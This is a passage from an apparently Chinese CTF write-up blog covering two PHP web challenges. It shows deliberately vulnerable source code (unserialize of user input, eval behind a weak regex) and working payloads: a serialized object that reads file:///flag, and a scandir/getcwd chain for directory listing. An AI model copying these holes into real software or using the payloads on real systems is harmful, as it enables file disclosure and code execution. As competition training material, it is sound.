\u6784\u9020\u51fd\u6570\uff1a\u5141\u8bb8\u5728\u5b9e\u4f8b\u5316\u65f6\u4f20\u5165\u81ea\u5b9a\u4e49\u65e5\u5fd7\u6587\u4ef6\u8def\u5f84\n    public function __construct($f = null) {\n        \/\/ \u5982\u679c\u4f20\u5165\u4e86\u6587\u4ef6\u8def\u5f84\u53c2\u6570 $f\uff0c\u5219\u8986\u76d6\u9ed8\u8ba4\u65e5\u5fd7\u8def\u5f84\n        if ($f) {\n            $this-&gt;logfile = $f;\n        }\n    }\n\n    \/\/ write \u65b9\u6cd5\uff1a\u5411\u65e5\u5fd7\u5185\u5bb9\u8ffd\u52a0\u6d88\u606f\uff0c\u5e76\u7acb\u5373\u5199\u5165\u6587\u4ef6\uff08\u8ffd\u52a0\u6a21\u5f0f\uff09\n    public function write($msg) {\n        \/\/ \u5c06\u4f20\u5165\u7684\u6d88\u606f $msg \u62fc\u63a5\u5230\u5f53\u524d content \u672b\u5c3e\uff0c\u5e76\u52a0\u4e0a\u6362\u884c\u7b26\n        $this-&gt;content .= $msg . \"n\";\n\n        \/\/ \u5c06\u7d2f\u8ba1\u7684 content \u5185\u5bb9\u8ffd\u52a0\u5199\u5165\u5230\u65e5\u5fd7\u6587\u4ef6\uff08\u6ce8\u610f\uff1a\u8fd9\u91cc\u6bcf\u6b21\u8c03\u7528\u90fd\u5199\u5165\u5168\u90e8 content\uff0c\u53ef\u80fd\u91cd\u590d\uff01\uff09\n        file_put_contents($this-&gt;logfile, $this-&gt;content, FILE_APPEND);\n    }\n\n    \/\/ \u6790\u6784\u51fd\u6570\uff1a\u5728\u5bf9\u8c61\u9500\u6bc1\u65f6\u81ea\u52a8\u8c03\u7528\n    public function __destruct() {\n        \/\/ \u5982\u679c content \u4e0d\u4e3a\u7a7a\uff0c\u5219\u518d\u6b21\u5c06\u5185\u5bb9\u8ffd\u52a0\u5199\u5165\u65e5\u5fd7\u6587\u4ef6\n        if ($this-&gt;content) {\n            file_put_contents($this-&gt;logfile, $this-&gt;content, FILE_APPEND);\n        }\n    }\n}\n\n\/\/ \u5b9a\u4e49\u4e00\u4e2a\u540d\u4e3a ShitMountant \u7684\u7c7b\uff08\u540d\u79f0\u6697\u793a\u5176\u53ef\u80fd\u7528\u4e8e\"\u6302\u8f7d\"\u6216\"\u83b7\u53d6\"\u5916\u90e8\u5185\u5bb9\uff09\nclass ShitMountant {\n    \/\/ \u5b58\u50a8\u8981\u83b7\u53d6\u7684 URL\n    public $url;\n\n    \/\/ \u6301\u6709\u4e00\u4e2a FileLogger \u5b9e\u4f8b\uff0c\u7528\u4e8e\u8bb0\u5f55\u64cd\u4f5c\u65e5\u5fd7\n    public $logger;\n\n    \/\/ \u6784\u9020\u51fd\u6570\uff1a\u63a5\u6536\u4e00\u4e2a URL \u53c2\u6570\n    public function __construct($url) {\n        \/\/ \u4fdd\u5b58\u4f20\u5165\u7684 URL\n        $this-&gt;url = $url;\n\n        \/\/ \u521b\u5efa\u4e00\u4e2a\u9ed8\u8ba4\u7684 FileLogger \u5b9e\u4f8b\uff08\u65e5\u5fd7\u5199\u5165 \/tmp\/notehub.log\uff09\n        $this-&gt;logger = new FileLogger();\n    }\n\n    \/\/ fetch \u65b9\u6cd5\uff1a\u4ece\u6307\u5b9a URL \u83b7\u53d6\u5185\u5bb9\uff0c\u5e76\u8bb0\u5f55\u65e5\u5fd7\n    public function fetch() {\n        \/\/ \u4f7f\u7528 file_get_contents \u4ece $this-&gt;url \u83b7\u53d6\u8fdc\u7a0b\u5185\u5bb9\uff08\u53ef\u80fd\u5bfc\u81f4 SSRF \u6216\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\uff01\uff09\n        $c = file_get_contents($this-&gt;url);\n\n        \/\/ \u5982\u679c logger \u5b58\u5728\uff0c\u5219\u8bb0\u5f55\"\u5df2\u83b7\u53d6\"\u7684\u65e5\u5fd7\u4fe1\u606f\n        if ($this-&gt;logger) {\n            $this-&gt;logger-&gt;write(\"fetched ==&gt; \" . $this-&gt;url);\n        }\n\n        \/\/ \u8fd4\u56de\u83b7\u53d6\u5230\u7684\u5185\u5bb9\n        return $c;\n    }\n\n    \/\/ \u6790\u6784\u51fd\u6570\uff1a\u5728\u5bf9\u8c61\u9500\u6bc1\u65f6\u81ea\u52a8\u8c03\u7528 fetch()\n    public function __destruct() {\n        \/\/ \u81ea\u52a8\u89e6\u53d1\u4e00\u6b21 fetch() \u64cd\u4f5c\n        $this-&gt;fetch();\n    }\n}\n?&gt;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>index.php<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\n\/\/ \u5f15\u5165\u6570\u636e\u5e93\u914d\u7f6e\uff08\u5982 $db \u8fde\u63a5\uff09\u548c\u7c7b\u5b9a\u4e49\uff08\u5982 ShitMountant\u3001FileLogger \u7b49\uff09\nrequire_once \".\/config.php\";\nrequire_once \".\/classes.php\";\n\n\/\/ \u68c0\u67e5\u5f53\u524d\u8bf7\u6c42\u662f\u5426\u4e3a POST \u65b9\u6cd5\uff08\u7528\u4e8e\u5904\u7406\u7528\u6237\u63d0\u4ea4\u7684\"\u5c0f\u84dd\u9ca8\"\u6570\u636e\uff09\nif ($_SERVER&#91;\"REQUEST_METHOD\"] === \"POST\") {\n    \/\/ \u4ece POST \u6570\u636e\u4e2d\u83b7\u53d6\u540d\u4e3a \"shark\" \u7684\u5b57\u6bb5\uff0c\u82e5\u672a\u63d0\u4f9b\u5219\u9ed8\u8ba4\u4e3a \"\u55b5\u55b5\u55b5?\"\uff08\u53cb\u597d\u9519\u8bef\u63d0\u793a\uff09\n    $s = $_POST&#91;\"shark\"] ?? '\u55b5\u55b5\u55b5?';\n\n    \/\/ \u68c0\u67e5\u8f93\u5165\u662f\u5426\u4ee5 \"blueshark:\" \u524d\u7f00\u5f00\u5934\uff08\u7528\u4e8e\u6807\u8bc6\u5408\u6cd5\u683c\u5f0f\uff09\n    if (str_starts_with($s, \"blueshark:\")) {\n        \/\/ \u53bb\u6389\u524d\u7f00 \"blueshark:\"\uff0c\u53ea\u4fdd\u7559\u540e\u7eed\u5185\u5bb9\n        $ss = substr($s, strlen(\"blueshark:\"));\n\n        \/\/ \u5c1d\u8bd5\u53cd\u5e8f\u5217\u5316 $ss \u5185\u5bb9\n        \/\/ @ \u6291\u5236\u9519\u8bef\u662f\u4e3a\u4e86\u907f\u514d\u66b4\u9732\u53cd\u5e8f\u5217\u5316\u5931\u8d25\u7684\u7ec6\u8282\uff0c\u4f46\u65e0\u6cd5\u963b\u6b62\u6f0f\u6d1e\u5229\u7528\n        $o = @unserialize($ss);\n\n        \/\/ \u5c06\u539f\u59cb\u5e8f\u5217\u5316\u5b57\u7b26\u4e32 $ss\uff08\u4e0d\u542b\u524d\u7f00\uff09\u5b58\u5165\u6570\u636e\u5e93 notes \u8868\u7684 content \u5b57\u6bb5\n        \/\/ \u4f7f\u7528\u9884\u5904\u7406\u8bed\u53e5\u9632\u6b62 SQL \u6ce8\u5165\n        $p = $db-&gt;prepare(\"INSERT INTO notes (content) VALUES (?)\");\n        $p-&gt;execute(&#91;$ss]);\n\n        \/\/ \u8fd4\u56de\u4fdd\u5b58\u6210\u529f\u7684\u63d0\u793a\u5e76\u7ec8\u6b62\u811a\u672c\n        echo \"save sucess!\";\n        exit(0);\n    } else {\n        \/\/ \u5982\u679c\u8f93\u5165\u4e0d\u7b26\u5408 \"blueshark:\" \u683c\u5f0f\uff0c\u8fd4\u56de\u9519\u8bef\u63d0\u793a\n        echo \"\u55b5\u55b5\u55b5?\";\n        exit(1);\n    }\n}\n\n\/\/ \u67e5\u8be2\u6570\u636e\u5e93\u4e2d\u6700\u8fd1\u7684 10 \u6761\u7b14\u8bb0\uff08\u6309 id \u964d\u5e8f\u6392\u5217\uff09\n$q = $db-&gt;query(\"SELECT id, content FROM notes ORDER BY id DESC LIMIT 10\");\n\n\/\/ \u83b7\u53d6\u6240\u6709\u7ed3\u679c\u4e3a\u5173\u8054\u6570\u7ec4\n$rows = $q-&gt;fetchAll(PDO::FETCH_ASSOC);\n?&gt;\n\n&lt;!doctype html&gt;\n&lt;html&gt;\n&lt;head&gt;\n    &lt;meta charset=\"utf-8\" \/&gt;\n    &lt;title&gt;\u5b9d\u5b9d\u4f60\u662f\u4e00\u53ea\u732b\u732b&lt;\/title&gt;\n    &lt;style&gt;\n        \/* \u57fa\u7840\u9875\u9762\u6837\u5f0f\uff1a\u4f7f\u7528\u7cfb\u7edf\u5b57\u4f53\uff0c\u5185\u8fb9\u8ddd *\/\n        body { \n            font-family: system-ui, -apple-system, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial; \n            padding: 24px; \n        }\n\n        \/* \u6587\u672c\u57df\u6837\u5f0f\uff1a\u5168\u5bbd\u3001\u7b49\u5bbd\u5b57\u4f53\uff0c\u4fbf\u4e8e\u8f93\u5165\u5e8f\u5217\u5316\u5185\u5bb9 *\/\n        textarea { \n            width: 100%; \n            max-width: 800px; \n            height: 120px; \n            font-family: monospace; \n        }\n\n        \/* \"Recent\" \u533a\u5757\u6837\u5f0f *\/\n        .recent { \n            margin-top: 20px; \n            max-width: 900px; \n        }\n\n        \/* \u5355\u6761\u7b14\u8bb0\u6837\u5f0f\uff1a\u6d45\u7070\u8272\u80cc\u666f\u3001\u5706\u89d2\u3001\u4fdd\u7559\u6362\u884c\u548c\u7a7a\u683c *\/\n        .note { \n            background: #f7f7f8; \n            padding: 10px; \n            border-radius: 6px; \n            margin-bottom: 8px; \n            font-family: monospace; \n            white-space: pre-wrap; \n        }\n\n        \/* \u5143\u4fe1\u606f\uff08\u5982 ID\uff09\u6837\u5f0f\uff1a\u7070\u8272\u3001\u7a0d\u5c0f\u5b57\u4f53 *\/\n        .meta { \n            color: #666; \n            font-size: 90%; \n            margin-bottom: 6px; \n        }\n\n        \/* \u6309\u94ae\u6837\u5f0f *\/\n        .btn { \n            padding: 8px 14px; \n            border-radius: 6px; \n            border: 1px solid #ccc; \n            background: #fff; \n            cursor: pointer; \n        }\n    &lt;\/style&gt;\n&lt;\/head&gt;\n&lt;body&gt;\n    &lt;h1&gt;SharkHub&lt;\/h1&gt;\n\n    &lt;!-- \u8868\u5355\u7528\u4e8e\u63d0\u4ea4\"\u5c0f\u84dd\u9ca8\"\u6570\u636e --&gt;\n    &lt;form method=\"POST\" style=\"max-width: 900px; margin-bottom: 18px;\"&gt;\n        &lt;p&gt;\u4f60\u559c\u6b22\u5c0f\u84dd\u9ca8\u5417\uff1f&lt;\/p&gt;\n        &lt;br\/&gt;\n        &lt;!--\n            \u6ce8\u610f\uff1a\u4ee5\u4e0b\u8868\u5355\u8f93\u5165\u533a\u57df\u88ab\u6ce8\u91ca\u6389\u4e86\uff01\n            \u8fd9\u610f\u5473\u7740\u524d\u7aef\u65e0\u6cd5\u76f4\u63a5\u63d0\u4ea4\u6570\u636e\uff0c\u4f46\u540e\u7aef\u4ecd\u63a5\u53d7 POST \u8bf7\u6c42\u3002\n            \u653b\u51fb\u8005\u53ef\u76f4\u63a5\u7528 curl \u6216 Burp Suite \u53d1\u9001 POST \u6570\u636e\u7ed5\u8fc7\u524d\u7aef\u9650\u5236\u3002\n        --&gt;\n        &lt;!--\n            &lt;textarea id=\"s\" name=\"shark\" placeholder=\"\"&gt;&lt;\/textarea&gt;&lt;br\/&gt;\n            &lt;br\/&gt;\n            &lt;button class=\"btn\" type=\"submit\"&gt;commit&lt;\/button&gt;\n        --&gt;\n    &lt;\/form&gt;\n\n    &lt;!-- \u663e\u793a\u6700\u8fd1 10 \u6761\u63d0\u4ea4\u7684\u7b14\u8bb0 --&gt;\n    &lt;div class=\"recent\"&gt;\n        &lt;h2&gt;Recent&lt;\/h2&gt;\n        &lt;?php foreach ($rows as $r): ?&gt;\n            &lt;div class=\"note\"&gt;\n                &lt;!-- \u663e\u793a\u7b14\u8bb0 ID\uff0c\u8fdb\u884c HTML \u8f6c\u4e49\u9632\u6b62 XSS --&gt;\n                &lt;div class=\"meta\"&gt;#&lt;?= htmlspecialchars($r&#91;'id'], ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8') ?&gt;&lt;\/div&gt;\n\n                &lt;!-- \u663e\u793a\u539f\u59cb\u5e8f\u5217\u5316\u5b57\u7b26\u4e32\uff08\u672a\u53cd\u5e8f\u5217\u5316\uff09\uff0c\u540c\u6837\u8fdb\u884c HTML \u8f6c\u4e49 --&gt;\n                &lt;div&gt;&lt;?= htmlspecialchars($r&#91;'content'], ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8') ?&gt;&lt;\/div&gt;\n            &lt;\/div&gt;\n        &lt;?php endforeach; ?&gt;\n    &lt;\/div&gt;\n&lt;\/body&gt;\n&lt;\/html&gt;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u6784\u9020\u53cd\u5e8f\u5217\u5316<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\n\/**\n * \u751f\u6210 payload: shark=blueshark:O:12:\"ShitMountant\":2:\n * {s:3:\"url\";s:12:\"file:\/\/\/flag\";s:6:\"logger\";N;}\n * \n * \u6838\u5fc3\u8bf4\u660e\uff1a\n * 1. \u7c7b\u540d ShitMountant \u6309 payload \u8981\u6c42\uff0c\u957f\u5ea6\u4e3a 12\n * 2. url \u5c5e\u6027\u503c\u4e3a \"file:\/\/\/flag\"\uff0cpayload \u4e2d\u957f\u5ea6\u6807\u8bc6\u4e3a 12\n * 3. logger \u5c5e\u6027\u8bbe\u4e3a null\uff08\u5e8f\u5217\u5316\u540e\u4e3a N\uff09\n *\/\n\nclass ShitMountant {\n    \/\/ \u4e0epayload\u5bf9\u5e94\u7684\u516c\u5f00\u5c5e\u6027\n    public $url;\n    public $logger;\n\n    \/\/ \u6784\u9020\u51fd\u6570\uff1a\u521d\u59cb\u5316\u5c5e\u6027\u503c\uff08\u5339\u914dpayload\u4e2d\u7684\u53c2\u6570\uff09\n    public function __construct() {\n        $this-&gt;url = \"file:\/\/\/flag\"; \/\/ payload\u4e2durl\u7684\u503c\uff0c\u5bf9\u5e94 s:12\n        $this-&gt;logger = null;        \/\/ payload\u4e2dlogger\u7684\u503c\uff0c\u5bf9\u5e94 N\n    }\n}\n\n\/\/ 1. \u5b9e\u4f8b\u5316\u5bf9\u8c61\uff08\u5c5e\u6027\u81ea\u52a8\u6309\u6784\u9020\u51fd\u6570\u521d\u59cb\u5316\uff09\n$malicious_obj = new ShitMountant();\n\n\/\/ 2. \u5e8f\u5217\u5316\u5bf9\u8c61\uff08\u751f\u6210 payload \u6838\u5fc3\u90e8\u5206\uff09\n$serialized_str = serialize($malicious_obj);\n\n\/\/ 3. \u62fc\u63a5 blueshark: \u524d\u7f00\uff0c\u751f\u6210\u6700\u7ec8\u63d0\u4ea4\u7684 shark \u53c2\u6570\u503c\n$final_payload = \"shark=blueshark:\" . $serialized_str;\n\n\/\/ 4. \u8f93\u51fa\u7ed3\u679c\uff08\u76f4\u63a5\u590d\u5236\u63d0\u4ea4\u5373\u53ef\uff09\necho \"\u751f\u6210\u7684\u6b63\u786epayload\uff1an\";\necho $final_payload . \"nn\";\necho \"\u5e8f\u5217\u5316\u6838\u5fc3\u4e32\uff08blueshark: \u540e\u9762\u7684\u90e8\u5206\uff09\uff1an\";\necho $serialized_str;\n?&gt;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u53cd\u5e8f\u5217\u5316\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>shark=blueshark:O:12:\"ShitMountant\":2:\n{s:3:\"url\";s:12:\"file:\/\/\/flag\";s:6:\"logger\";N;}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fdb\u884cpost\u4f20\u53c2\u63d0\u4ea4<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-25-1024x406.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"406\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-25-1024x406.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1590\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u56de\u663esave sucess<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-26-1024x551.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"551\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-26-1024x551.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1591\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u8bbf\u95ee<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>http:&#47;&#47;challenge.bluesharkinfo.com:28794\/api.php?id=1<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5f97\u5230flag<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-27-1024x456.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"456\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-27-1024x456.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1592\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">ezrce<\/h3>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-28.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"595\" height=\"571\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-28.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1593\"  sizes=\"auto, (max-width: 595px) 100vw, 595px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u4ee3\u7801\u5ba1\u8ba1<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\n\/\/ \u9ad8\u4eae\u5e76\u8f93\u51fa\u5f53\u524d\u6587\u4ef6\u7684\u6e90\u4ee3\u7801\uff08\u7528\u4e8e\u5c55\u793a\u4ee3\u7801\u7ed3\u6784\uff09\nhighlight_file(__FILE__);\n\n\/\/ \u68c0\u67e5\u662f\u5426\u901a\u8fc7GET\u8bf7\u6c42\u4f20\u9012\u4e86'code'\u53c2\u6570\nif (isset($_GET&#91;'code'])) {\n    \/\/ \u5c06GET\u53c2\u6570'code'\u7684\u503c\u8d4b\u7ed9\u53d8\u91cf$code\n    $code = $_GET&#91;'code'];\n\n    \/* \u6b63\u5219\u8868\u8fbe\u5f0f\u6821\u9a8c\uff1a\n        \/^ - \u5339\u914d\u5b57\u7b26\u4e32\u5f00\u59cb\n        &#91;A-Za-z()_;]+ - \u5141\u8bb8\u5b57\u6bcd\uff08\u5927\u5c0f\u5199\uff09\u3001\u62ec\u53f7\u3001\u4e0b\u5212\u7ebf\u3001\u5206\u53f7\n        $\/ - \u5339\u914d\u5b57\u7b26\u4e32\u7ed3\u675f\n        \u8be5\u6b63\u5219\u610f\u56fe\u9650\u5236\u53ef\u6267\u884c\u4ee3\u7801\u7684\u5b57\u7b26\u8303\u56f4\uff0c\u4f46\u5b58\u5728\u4e25\u91cd\u6f0f\u6d1e\uff01\n    *\/\n    if (preg_match('\/^&#91;A-Za-z()_;]+$\/', $code)) {\n        \/\/ \u5371\u9669\u64cd\u4f5c\uff1a\u6267\u884c\u6765\u81ea\u7528\u6237\u8f93\u5165\u7684\u4efb\u610f\u4ee3\u7801\uff08\u5b58\u5728\u4e25\u91cd\u5b89\u5168\u98ce\u9669\uff09\n        eval($code);\n    } else {\n        \/\/ \u6821\u9a8c\u5931\u8d25\u65f6\u7ec8\u6b62\u7a0b\u5e8f\u5e76\u8f93\u51fa\u63d0\u793a\n        die('\u5e08\u5085\uff0c\u4f60\u60f3\u62ffflag\uff1f');\n    }\n}\n?&gt;<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-29-1024x572.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"572\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-29-1024x572.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1594\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-30-1024x377.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"377\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-30-1024x377.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1595\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u4e9b\u90fd\u4e0d\u884c<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u6784\u9020payload<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>?code=print_r(scandir(dirname(dirname(dirname(dirname(getcwd()))))));<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">payload\u89e3\u6790<br>getcwd()<br>\u529f\u80fd\uff1a\u83b7\u53d6\u5f53\u524d\u5de5\u4f5c\u76ee\u5f55<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u793a\u4f8b\uff1a\u5982\u679cWeb\u670d\u52a1\u6839\u76ee\u5f55\u662f\/var\/www\/html\/ctf,\u800c\u5f53\u524d\u811a\u672c\u5728\/var\/www\/html\/ctf\/challenge\/\u4e2d\u90a3\n\u4e48getcwd()\u8fd4\u56de\/var\/www\/html\/ctf\/challenge<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">dirname($path)<br>\u529f\u80fd\uff1a\u8fd4\u56de\u8def\u5f84\u7684\u7236\u76ee\u5f55<br>\u9010\u5c42\u5411\u4e0a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>dirname(getcwd()) \u2192 \/var\/www\/html\/ctf\ndirname(dirname(getcwd())) \u2192 \/var\/www\/html\ndirname(dirname(dirname(getcwd()))) \u2192 \/var\/www\ndirname(dirname(dirname(dirname(getcwd())))) \u2192 \/var<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">scandir($path)<br>\u529f\u80fd:\u5217\u51fa\u6307\u5b9a\u76ee\u5f55\u4e2d\u7684\u6240\u6709\u6587\u4ef6\u548c\u5b50\u76ee\u5f55\uff08\u5305\u62ec.\u548c..\uff09<br>\u8fd4\u56de\u503c\uff1a\u4e00\u4e2a\u6570\u7ec4\uff0c\u4f8b\u5982\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&#91;'.', '..', 'www', 'log', 'lib', 'flag.txt']<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">print_f(&#8230;.)<br>\u529f\u80fd\uff1a\u5c06\u53d8\u91cf\uff08\u8fd9\u91cc\u662fscandir\u8fd4\u56de\u7684\u6570\u7ec4\uff09\u4ee5\u53ef\u8bfb\u683c\u5f0f\u6253\u5370\u51fa\u6765\uff0c\u4fbf\u4e8e\u67e5\u770b\u76ee\u5f55\u5185\u5bb9<br>\u603b\u7ed3<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u4ece\u5f53\u524d Web \u811a\u672c\u6240\u5728\u76ee\u5f55\u5411\u4e0a\u8df3 4 \u5c42\uff0c\u7136\u540e\u5217\u51fa\u8be5\u76ee\u5f55\u4e0b\u7684\u6240\u6709\u6587\u4ef6\u548c\u5b50\u76ee\u5f55\uff0c\u76ee\u7684\u662f\u5bfb\u627e\u5982\nflag.txt\u3001\/flag \u7b49\u654f\u611f\u6587\u4ef6<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-31-1024x213.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"213\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-31-1024x213.png\" 